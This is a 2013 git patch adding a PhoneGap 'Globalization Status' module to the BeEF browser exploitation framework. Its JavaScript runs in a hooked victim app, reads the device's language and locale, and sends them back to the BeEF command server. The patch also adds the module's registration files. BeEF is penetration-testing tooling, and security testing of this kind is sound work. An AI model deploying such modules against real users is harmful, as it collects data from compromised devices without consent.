From d3262d945103d21a3d41db12bc7091fc59506cb7 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 13:34:09 -0700 Subject: [PATCH] Adding local detection --- .../phonegap_globalization_status/command.js | 34 +++++++++++++++++++ .../phonegap_globalization_status/config.yaml | 17 ++++++++++ .../phonegap_globalization_status/module.rb | 15 ++++++++ 3 files changed, 66 insertions(+) create mode 100644 modules/phonegap/phonegap_globalization_status/command.js create mode 100644 modules/phonegap/phonegap_globalization_status/config.yaml create mode 100644 modules/phonegap/phonegap_globalization_status/module.rb diff --git a/modules/phonegap/phonegap_globalization_status/command.js b/modules/phonegap/phonegap_globalization_status/command.js new file mode 100644 index 000000000..e5f657b9b --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/command.js @@ -0,0 +1,34 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// Phonegap_globalization_status +// +beef.execute(function() { + var result = ''; + + navigator.globalization.getPreferredLanguage( + function (language) { + result = 'language: ' + language.value + '\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }, + function () { + result = 'language: ' + 'fail\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + ); + + navigator.globalization.getLocaleName( + function (locale) { + result = 'locale: ' + locale.value + '\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }, + function () { + result = 'locale: ' + 'fail\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + ); + +}); \ No newline at end of file diff --git a/modules/phonegap/phonegap_globalization_status/config.yaml b/modules/phonegap/phonegap_globalization_status/config.yaml new file mode 100644 index 000000000..7ced9d85a --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Phonegap_globalization_status +# +beef: + module: + phonegap_globalization_status: + enable: true + category: "Phonegap" + name: "Globalization Status" + description: "Examine device local settings" + authors: ["staregate"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_globalization_status/module.rb b/modules/phonegap/phonegap_globalization_status/module.rb new file mode 100644 index 000000000..1bb32a3ae --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/module.rb @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# // Phonegap_globalization_status + +class Phonegap_globalization_status < BeEF::Core::Command + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end +end